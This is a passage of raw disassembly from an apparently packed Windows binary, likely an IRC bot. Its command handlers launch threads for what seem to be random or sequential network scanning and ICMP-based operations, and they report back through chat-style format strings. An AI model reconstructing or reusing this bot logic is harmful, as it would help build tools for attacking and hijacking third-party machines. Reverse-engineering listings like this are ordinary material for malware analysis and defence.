loc_40CB63:				; CODE XREF: .nsp0:0040CB77j
		cmp	[ebp-568h], ebx
		jnz	loc_40C876
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40CB63
; ---------------------------------------------------------------------------


loc_40CB79:				; CODE XREF: .nsp0:0040CB61j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E9B0
		jmp	loc_40C867
; ---------------------------------------------------------------------------


loc_40CB8A:				; CODE XREF: .nsp0:0040CA75j
		push	offset dword_42E964
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40CB94:				; CODE XREF: .nsp0:0040C634j
					; .nsp0:0040C64Bj ...
		cmp	dword_433BB8, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40CC9C
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_413710
		push	dword ptr [ebp+20h]
		call	sub_41245F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41245F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41245F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_413710
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset unk_42E908
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Eh
		push	eax
		call	sub_41199A
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset sub_4080EB
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40CC8B


loc_40CC79:				; CODE XREF: .nsp0:0040CC89j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40CCB5
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40CC79
; ---------------------------------------------------------------------------


loc_40CC8B:				; CODE XREF: .nsp0:0040CC77j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E8BC
		jmp	loc_40D845
; ---------------------------------------------------------------------------


loc_40CC9C:				; CODE XREF: .nsp0:0040CB9Dj
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_413710


loc_40CCB2:				; CODE XREF: .nsp0:0040D851j
		add	esp, 0Ch


loc_40CCB5:				; CODE XREF: .nsp0:0040CC7Fj
					; .nsp0:0040CDC6j ...
		cmp	[ebp-8], ebx
		jnz	loc_40C897
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_40EE76
; ---------------------------------------------------------------------------


loc_40CCC7:				; CODE XREF: .nsp0:0040C5EFj
					; .nsp0:0040C606j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_413710
		push	dword ptr [ebp+20h]
		call	sub_41245F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41245F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41245F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40CD2C
		push	esi
		call	sub_41245F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40CD32
; ---------------------------------------------------------------------------


loc_40CD2C:				; CODE XREF: .nsp0:0040CD1Bj
		mov	[ebp-2F8h], ebx


loc_40CD32:				; CODE XREF: .nsp0:0040CD2Aj
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413710
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset dword_42E848
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Fh
		push	eax
		call	sub_41199A
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_408277
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40CDD6


loc_40CDC0:				; CODE XREF: .nsp0:0040CDD4j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40CCB5
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40CDC0
; ---------------------------------------------------------------------------


loc_40CDD6:				; CODE XREF: .nsp0:0040CDBEj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E7FC
		jmp	loc_40D845
; ---------------------------------------------------------------------------


loc_40CDE7:				; CODE XREF: .nsp0:0040C5C1j
					; .nsp0:0040C5D8j
		push	8
		call	sub_411BE2
		push	dword ptr [ebp+20h]
		mov	[ebp+18h], eax
		call	sub_41245F
		add	eax, [ebp+18h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40CE3A
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C8h]
		push	offset dword_42E7A8
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1


loc_40CE32:				; CODE XREF: .nsp0:0040E263j
		add	esp, 20h
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40CE3A:				; CODE XREF: .nsp0:0040CE03j
		push	edi
		call	sub_41245F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_41245F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41245F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40CE73
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40CE73:				; CODE XREF: .nsp0:0040CE68j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40CE80
		mov	[ebp-318h], ecx


loc_40CE80:				; CODE XREF: .nsp0:0040CE78j
		push	dword ptr [ebp+10h]
		call	sub_41245F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40CEA0
		mov	dword ptr [ebp-314h], 1F4h


loc_40CEA0:				; CODE XREF: .nsp0:0040CE94j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	dword_422880, ebx
		mov	[ebp+10h], ebx
		jz	short loc_40CEF6
		mov	dword ptr [ebp+2Ch], offset dword_422880


loc_40CEB9:				; CODE XREF: .nsp0:0040CED8j
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CEDC
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+10h]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40CEB9
		jmp	short loc_40CEF6
; ---------------------------------------------------------------------------


loc_40CEDC:				; CODE XREF: .nsp0:0040CECAj
		mov	eax, [ebp+10h]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, dword_422880[ecx]
		mov	[ebp-31Ch], ecx


loc_40CEF6:				; CODE XREF: .nsp0:0040CEB0j
					; .nsp0:0040CEDAj
		cmp	[ebp-31Ch], ebx
		jz	loc_40EB99
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40CF3D
		cmp	byte ptr [edi],	23h
		jz	short loc_40CF3D
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_41246A
		push	78h
		push	edi
		call	sub_414140
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40D011
; ---------------------------------------------------------------------------


loc_40CF3D:				; CODE XREF: .nsp0:0040CF0Bj
					; .nsp0:0040CF10j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40CF5F
		cmp	[ebp-9B2h], bl
		jnz	short loc_40CF5F
		cmp	[ebp-9A2h], bl
		jnz	short loc_40CF5F
		push	offset dword_42E75C
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40CF5F:				; CODE XREF: .nsp0:0040CF43j
					; .nsp0:0040CF4Bj ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	dword_433A6C	; getsockname
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413710
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40D00B
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413A10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40CFFF


loc_40CFDD:				; CODE XREF: .nsp0:0040CFFDj
		cmp	eax, ebx
		jz	short loc_40CFFF
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_413A10
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40CFDD


loc_40CFFF:				; CODE XREF: .nsp0:0040CFDBj
					; .nsp0:0040CFDFj
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40D011
; ---------------------------------------------------------------------------


loc_40D00B:				; CODE XREF: .nsp0:0040CFB5j
		mov	[ebp-2F0h], ebx


loc_40D011:				; CODE XREF: .nsp0:0040CF38j
					; .nsp0:0040D009j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_41246A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40D062


loc_40D04F:				; CODE XREF: .nsp0:0040D085j
		push	esi


loc_40D050:				; CODE XREF: .nsp0:0040D06Fj
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 0Ch
		jmp	short loc_40D08D
; ---------------------------------------------------------------------------


loc_40D062:				; CODE XREF: .nsp0:0040D04Dj
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40D071
		cmp	byte ptr [eax],	23h
		jnz	short loc_40D071
		push	eax
		jmp	short loc_40D050
; ---------------------------------------------------------------------------


loc_40D071:				; CODE XREF: .nsp0:0040D067j
					; .nsp0:0040D06Cj
		mov	esi, offset dword_425C00
		push	offset byte_432708
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04F
		mov	[ebp-3A0h], bl


loc_40D08D:				; CODE XREF: .nsp0:0040D060j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40D09F
		mov	eax, offset aSequential	; "Sequential"


loc_40D09F:				; CODE XREF: .nsp0:0040D098j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42E6D0
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_41199A
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_405FF1
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D12D


loc_40D117:				; CODE XREF: .nsp0:0040D12Bj
		cmp	[ebp-2ECh], ebx
		jnz	loc_40C876
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D117
; ---------------------------------------------------------------------------


loc_40D12D:				; CODE XREF: .nsp0:0040D115j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E684
		jmp	loc_40C867
; ---------------------------------------------------------------------------


loc_40D13E:				; CODE XREF: .nsp0:0040C581j
					; .nsp0:0040C598j
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		cmp	byte_438C70[eax], bl
		jz	loc_40F7D2
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	dword ptr [ebp+20h]
		call	sub_4126F0
		push	edi
		mov	esi, eax
		call	sub_4126F0
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_4126F0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4124C0
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_42E678
		push	eax
		call	sub_411EEE
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40F7D2
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9F1
		push	edi
		call	sub_41245F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_438A58[eax], 73h
		jnz	loc_40F7D2
		push	esi
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_438C70
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40D226:				; CODE XREF: .nsp0:0040D323j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1


loc_40D24B:				; CODE XREF: .nsp0:0040F052j
		add	esp, 28h
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40D253:				; CODE XREF: .nsp0:0040C553j
					; .nsp0:0040C56Aj
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		cmp	byte_438C70[eax], bl
		jz	loc_40F7D2
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	dword ptr [ebp+20h]
		call	sub_4126F0
		push	edi
		mov	esi, eax
		call	sub_4126F0
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_4126F0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4124C0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40F7D2
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40F7D2
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F7D2
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9F1
		push	edi
		call	sub_41245F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_438A58[eax], 73h
		jnz	loc_40F7D2
		push	esi
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_438C70
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40D226
; ---------------------------------------------------------------------------


loc_40D328:				; CODE XREF: .nsp0:0040C525j
					; .nsp0:0040C53Cj
		push	edi
		call	dword_433B08	; inet_addr
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_41245F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_41245F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_413710
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_42E608
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_41120E
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D40A


loc_40D3F4:				; CODE XREF: .nsp0:0040D408j
		cmp	[ebp-450h], ebx
		jnz	loc_40EE6B
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D3F4
; ---------------------------------------------------------------------------


loc_40D40A:				; CODE XREF: .nsp0:0040D3F2j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E5B8
		jmp	loc_40EE5C
; ---------------------------------------------------------------------------


loc_40D41B:				; CODE XREF: .nsp0:0040C4F7j
					; .nsp0:0040C50Ej
		push	edi
		call	sub_41245F
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_413710
		push	dword ptr [ebp+8]
		call	sub_41245F
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_41246A
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_408045
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_42E568
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	10h
		push	eax
		call	sub_41199A
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_406250
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D504


loc_40D4EE:				; CODE XREF: .nsp0:0040D502j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40EE6B
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D4EE
; ---------------------------------------------------------------------------


loc_40D504:				; CODE XREF: .nsp0:0040D4ECj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E514
		jmp	loc_40EE5C
; ---------------------------------------------------------------------------


loc_40D515:				; CODE XREF: .nsp0:0040C4C9j
					; .nsp0:0040C4E0j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_413710
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413710
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_41245F
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40D571
		push	10h
		push	ebx
		push	eax
		call	sub_413459
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40D577
; ---------------------------------------------------------------------------


loc_40D571:				; CODE XREF: .nsp0:0040D55Bj
		mov	[ebp-578h], ebx


loc_40D577:				; CODE XREF: .nsp0:0040D56Fj
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_40D58E
		push	esi
		call	sub_41245F
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40D594
; ---------------------------------------------------------------------------


loc_40D58E:				; CODE XREF: .nsp0:0040D57Dj
		mov	[ebp-57Ch], ebx


loc_40D594:				; CODE XREF: .nsp0:0040D58Cj
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_413710
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset unk_42E4D4
		push	eax
		call	sub_411EEE
		push	esi
		lea	eax, [ebp-2C8h]
		push	15h
		push	eax
		call	sub_41199A
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset loc_40915B
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D642


loc_40D62C:				; CODE XREF: .nsp0:0040D640j
		cmp	[ebp-568h], ebx
		jnz	loc_40CCB5
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D62C
; ---------------------------------------------------------------------------


loc_40D642:				; CODE XREF: .nsp0:0040D62Aj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E480
		jmp	loc_40D845
; ---------------------------------------------------------------------------


loc_40D653:				; CODE XREF: .nsp0:0040C49Bj
					; .nsp0:0040C4B2j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413710
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset dword_42E440
		push	eax
		mov	[ebp-570h], esi
		call	sub_411EEE
		add	esp, 44h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_41199A
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D726


loc_40D714:				; CODE XREF: .nsp0:0040D724j
		cmp	[ebp-568h], ebx
		jnz	short loc_40D741
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D714
; ---------------------------------------------------------------------------


loc_40D726:				; CODE XREF: .nsp0:0040D712j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42E3F4
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40D741:				; CODE XREF: .nsp0:0040D71Aj
		cmp	[ebp-8], ebx
		jnz	loc_40C897
		push	ebx
		push	esi
		jmp	loc_40C87F
; ---------------------------------------------------------------------------


loc_40D751:				; CODE XREF: .nsp0:0040C456j
					; .nsp0:0040C46Dj ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413710
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413710
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413710
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	edi
		push	offset unk_42E3B0
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_411EEE
		add	esp, 50h
		lea	eax, [ebp-2C8h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_41199A
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D839


loc_40D823:				; CODE XREF: .nsp0:0040D837j
		cmp	[ebp-568h], ebx
		jnz	loc_40CCB5
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D823
; ---------------------------------------------------------------------------


loc_40D839:				; CODE XREF: .nsp0:0040D821j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E364


loc_40D845:				; CODE XREF: .nsp0:0040CC97j
					; .nsp0:0040CDE2j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		jmp	loc_40CCB2
; ---------------------------------------------------------------------------


loc_40D856:				; CODE XREF: .nsp0:0040C428j
					; .nsp0:0040C43Fj
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_413710
		push	dword ptr [ebp+20h]
		call	sub_41245F
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_413710
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40D8A4
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_413710
		add	esp, 0Ch


loc_40D8A4:				; CODE XREF: .nsp0:0040D890j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_42E320
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_40A059
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40D930


loc_40D91A:				; CODE XREF: .nsp0:0040D92Ej
		cmp	[ebp-2E8h], ebx
		jnz	loc_40E5D4
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40D91A
; ---------------------------------------------------------------------------


loc_40D930:				; CODE XREF: .nsp0:0040D918j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E2D4
		jmp	loc_40DF0A
; ---------------------------------------------------------------------------


loc_40D941:				; CODE XREF: .nsp0:0040C3E8j
					; .nsp0:0040C3FFj
		push	dword ptr [ebp+20h]
		call	sub_41245F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40DA32
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
